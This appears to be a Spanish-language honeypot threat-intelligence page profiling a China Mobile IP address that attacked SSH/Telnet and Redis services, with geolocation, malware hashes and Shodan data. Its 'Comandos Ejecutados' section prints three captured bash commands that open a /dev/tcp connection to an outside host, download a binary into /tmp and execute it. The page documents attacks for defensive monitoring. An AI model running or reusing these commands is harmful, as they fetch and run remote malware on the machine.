Amenaza Activa • ALTO

120.220.243.134

Pais de Origen🇨🇳 China

Primera Deteccion5/5/2026

Ultima Actividad5/5/2026

ISPChina Mobile Communications Group Co., Ltd.

🎯

121

Ataques Totales

🔌

Puertos

📡

Tipos Ataque

🦠

Malware

Geolocalizacion

Pais: 🇨🇳 China
Ciudad: Desconocida
ASN: AS9808
ISP: China Mobile Communications Group Co., Ltd.

Tipos de Ataque

ssh_telnet_honeypot

redis_honeypot

Puertos Atacados

226379

Malware Asociado

6bff01c7eb13fa6d0e0f...→7a20fe866ea679f935ce...→f11fbf8273184b62c09b...→

Comandos Ejecutados

nohup bash -c "exec 6<>/dev/tcp/114.215.193.12/60124 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/CcjQHuFCWJ && chmod +x /tmp/CcjQHuFCWJ && /tmp/CcjQHuFCWJ t563SDRXtI/P1I+/Si5ItITMyo+0TSBIv4zUy4i2VzFLsJDNwoSwSTFJtjbB90EVOHF/zDM6" &

nohup bash -c "exec 6<>/dev/tcp/114.215.193.12/60124 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/HaHa6W74Pj && chmod +x /tmp/HaHa6W74Pj && /tmp/HaHa6W74Pj PUxsW3yIMpd9RGxVT1Jdb1B+ljGUfEpsVU5SXWtaZpcykGZdZVZKTF1tWriEi85AtTQTCKTW6MR9cA==" &

nohup bash -c "exec 6<>/dev/tcp/114.215.193.12/60124 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/LggnKrORwP && chmod +x /tmp/LggnKrORwP && /tmp/LggnKrORwP o+dhqPG7p/Ssfvbb0elhq/+jpfSrZOfT2/V+qPOlu/SrZunV2v1mqfSlpbLNWbCtSt9oKQkKUB8T" &

Exposicion segun Shodan InternetDBShodan

Datos de InternetDB, actualizacion no en tiempo real

Puertos

11160006379

CPEs

cpe:/a:redislabs:redis

Evaluacion de Riesgo

/100

BajoMedioAltoCritico